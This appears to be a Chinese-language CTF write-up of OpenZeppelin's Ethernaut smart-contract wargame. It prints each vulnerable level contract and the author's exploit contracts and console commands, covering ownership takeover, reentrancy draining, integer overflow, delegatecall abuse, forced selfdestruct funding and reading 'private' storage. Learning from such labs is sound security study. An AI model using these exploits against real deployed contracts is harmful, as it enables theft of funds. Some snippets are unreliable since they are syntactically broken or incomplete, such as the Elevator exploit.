Hello Ethernaut

一些基本的操作交互指令熟悉熟悉即可

Fallback

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
mapping(address => uint256) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

首先看到contribute中贡献必须大于1000才能获得权限(次数很多手打也不现实哈哈),之后发现receive( )函数的require条件判断太简单了,只要value和contributions大于0就行,而withdraw直接清空了合约账户就是我们所需要的所以思路就很简单了。其他关于receive()的细节可以查看(https://docs.soliditylang.org/en/v0.8.23/contracts.html#receive-ether-function)其中写道一个合约中至多会有一个receive函数。
整个漏洞来看就是权限设置不完整

1
2
3
contract.contribute({value:1}) #提高我们的contribution
contract.sendTransaction({value:1}) #触发receive获得权限
contract.withdraw() #清空账户

Telephone

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
tx.origin是合约的最开始的调用者是谁
msg.sender是当前合约的调用者是谁

msg.sender更改为不是当前合约的调用者,直接重新构造一个合约即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

contract exp {
Telephone public interactContract;
constructor(address _addr) {
interactContract = Telephone(_addr);
}

function forwardToTelephone() public {
interactContract.changeOwner(msg.sender);
}
}

Fal1out

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
using SafeMath for uint256;

mapping(address => uint256) allocations;
address payable public owner;

/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}

看了半天没懂以为函数其中有很多玄机,不敢相信直接contract.Fal1out()就行(没看到为啥特意再Fal1out()上写一个constructor还以为什么特别构造函数),结果试了一下还真是:)

Coin Flip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

contract exp {
CoinFlip public interactContract;

constructor(address _addr) {
interactContract = CoinFlip(_addr);
}

function guess() public {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
interactContract.flip(side);
}
}

blockhash可以返回最近256个block的hash值,其他情况就会返回0,blockValue是调用的blockhash获取上一个block的hash值,由于合约部署在一个链上,所以每次值都可以计算,重新生成10次就行了

Token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;

constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}

搞了半天,我觉得思路没错啊,uint类型是无符号所以判断没用,直接发送就行了,但是我跑了很多遍都failed,我实例地址也确认了balance也还是0,麻了,看网上的exp没啥问题
注意的点就是0.6到0.8是没有safemath的,0.8以后底层就实现了safemath保证了数字不会溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

contract exp {
address addr;
Token public interactContract;
constructor(address _addr) public {
interactContract = Token(_addr);
addr = _addr;
}


function overflow() public {
interactContract.transfer(0xa5fB9D934e33b56eD332a3337489e5F50F443931, 5000);
}

}

Delegation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {
address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

文档里面提示了delegatecall函数,网上一搜结果提示为是一种外部函数调用的方法,但是数据是利用当前合约的上下文数据,同时注意delegatecall中间调用有一个函数选择器它是一个SHA3,获取结果的前4比特就行(看到pwn还是有点熟悉哈哈)

1
contract.sendTransaction({data: web3.utils.sha3("pwn()").slice(0, 10)})

Force

1
2
3
4
5
6
7
8
9
10
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }

一个合约没有receive也没有具有payable属性的fallback函数的时候,调用selfdestruct(payable(_addr))会将合约余额转到到指定地址(而且根据网上的资料显示摧毁合约这个函数的优先级还比较高)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

contract exp {
Force public victim;

constructor(address _addr) {
victim = Force(_addr);
}

function pwn() public {
selfdestruct(payable(address(victim)));
}

function getba() public view returns (uint256){
return address(this).balance;
}

}

Valut

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

在官方文档中写道(https://docs.soliditylang.org/en/v0.8.23/internals/layout_in_storage.html)

1
State variables of contracts are stored in storage in a compact way such that multiple values sometimes use the same storage slot. Except for dynamically-sized arrays and mappings (see below), data is stored contiguously item after item starting with the first state variable, which is stored in slot `0`

合约的变量会连续地储存在一个slot变量中,并且从下标0开始(和x86的变量存储都挺像的哈哈)
remix的compiler也可以看到变量信息(从本次实验中也知道合作中的变量是不安全的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
{
"storage": [
{
"astId": 3,
"contract": "koin.sol:Vault",
"label": "locked",
"offset": 0,
"slot": "0",
"type": "t_bool"
},
{
"astId": 5,
"contract": "koin.sol:Vault",
"label": "password",
"offset": 0,
"slot": "1",
"type": "t_bytes32"
}
],
"types": {
"t_bool": {
"encoding": "inplace",
"label": "bool",
"numberOfBytes": "1"
},
"t_bytes32": {
"encoding": "inplace",
"label": "bytes32",
"numberOfBytes": "32"
}
}
}
1
web3.eth.getStorageAt("合约地址"",0);

King

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
address king;
uint256 public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

require里面有一个后门判断msg.sender == owner 导致提交实例以后都会被替换为king,因为程序的流程是先对合约进行转账及transfer以后再king = msg.sender, 那么漏洞就在于我们可以截断后续的转账操作,利用收款后直接revert( )回滚操作,或者利用force中学习的selfdestruct( )销毁合约并将存款,提取到我们自己的账户也许 :>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

address king;
uint public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

contract exp {
King public interfaceKing;
constructor(address payable _addr) payable {
interfaceKing = King(_addr);
}
function claim() public {
(bool success,) = payable(address(interfaceKing)).call{value: 0.001 ether}("");
require(success, "claim failed");
}
receive() external payable {
//selfdestruct(payable(address(0xa5fB9D934e33b56eD332a3xx)));
revert()
}
}

Re-entrancy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
using SafeMath for uint256;

mapping(address => uint256) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}

function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

首先看到Re-entrancy知道这是重放攻击,再看到了safemath想起了之前uint整数溢出那道题了一看版本确实是0.6底层没有保护,在withdraw部分注意到先判断_amount之后再使用msg.sender.call{value:_amount}(“”)最后更新balances上的映射,这里就有一个问题如果先进行了转账操作再去维护映射,会导致call(“”)会触发对应合约的receive()函数,从而绕过_amount的验证进行递归调用
(有点类似与pwn中的堆利用里面漏洞)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/math/SafeMath.sol";

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

contract exp {
Reentrance public interfaceReentrance;
constructor(address payable _addr) public payable {
interfaceReentrance = Reentrance(_addr);
}

function pwn() public {
interfaceReentrance.donate{value: 0.001 ether}(address(this));
interfaceReentrance.withdraw(0.001 ether);
}

receive() external payable {
interfaceReentrance.withdraw(msg.value);
}

}

Elevator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint) external returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

看到interface Building中 function isLastFloor为一个external函数,而函数判断top的核心流程只有isLastFloor这个函数,直接构造一个isLastFloor函数返回false就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint) external returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

contract exp {
uint public cnt = 0;
Elevator public interfaceElevator;

constructor(address _addr) {
interfaceElevator = Elevator(_addr);
}

function isLastFloor(uint) public returns (bool) {
cnt++;
if (cnt % 2 == 1) {
return false;

}

function pwn() public {
interfaceElevator.goTo(114514);
}
}

Privacy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

constructor(bytes32[3] memory _data) {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

漏洞也是与前几题相似,读取内存中的内容再进行一个类型转换就行,和king的步骤类似
找了很久但是就是不对,突然想起来每个slot是有32位大小的限制,于是我又返回去看文档,果然

1
Multiple, contiguous items that need less than 32 bytes are packed into a single storage slot if possible, according to the following rules:

再看看反编译的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
{
"storage": [
{
"astId": 4,
"contract": "koin.sol:Privacy",
"label": "locked",
"offset": 0,
"slot": "0",
"type": "t_bool"
},
{
"astId": 8,
"contract": "koin.sol:Privacy",
"label": "ID",
"offset": 0,
"slot": "1",
"type": "t_uint256"
},
{
"astId": 11,
"contract": "koin.sol:Privacy",
"label": "flattening",
"offset": 0,
"slot": "2",
"type": "t_uint8"
},
{
"astId": 14,
"contract": "koin.sol:Privacy",
"label": "denomination",
"offset": 1,
"slot": "2",
"type": "t_uint8"
},
{
"astId": 21,
"contract": "koin.sol:Privacy",
"label": "awkwardness",
"offset": 2,
"slot": "2",
"type": "t_uint16"
},
{
"astId": 25,
"contract": "koin.sol:Privacy",
"label": "data",
"offset": 0,
"slot": "3",
"type": "t_array(t_bytes32)3_storage"
}
],
"types": {
"t_array(t_bytes32)3_storage": {
"base": "t_bytes32",
"encoding": "inplace",
"label": "bytes32[3]",
"numberOfBytes": "96"
},
"t_bool": {
"encoding": "inplace",
"label": "bool",
"numberOfBytes": "1"
},
"t_bytes32": {
"encoding": "inplace",
"label": "bytes32",
"numberOfBytes": "32"
},
"t_uint16": {
"encoding": "inplace",
"label": "uint16",
"numberOfBytes": "2"
},
"t_uint256": {
"encoding": "inplace",
"label": "uint256",
"numberOfBytes": "32"
},
"t_uint8": {
"encoding": "inplace",
"label": "uint8",
"numberOfBytes": "1"
}
}
}

看到data从第三个solt开始的,那么data[2]就是slot[5]

1
2
3
4
5
await web3.eth.getStorageAt("0x51fD9cbb92fEf8eAd56761368518e96AC14863fc", 5)
"0x8e3e5ecc0bc62093009ffe2ba493dafa7f4926694172a078e498e44f47699345"
"0x8e3e5ecc0bc62093009ffe2ba493dafa7f4926694172a078e498e44f47699345".slice(0,34) #大端序从左开始截断
"0x8e3e5ecc0bc62093009ffe2ba493dafa"
await contract.unlock("0x8e3e5ecc0bc62093009ffe2ba493dafa")

Gatekeeper One

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

等待施工 : )

相关:

https://ethernaut.openzeppelin.com/level/0x7E0f53981657345B31C59aC44e9c21631Ce710c7
https://blog.csdn.net/ak19920601/article/details/135908265
https://remix.ethereum.org/#lang=en&optimize=false&runs=200&evmVersion=null&version=soljson-v0.8.25+commit.b61c2a91.js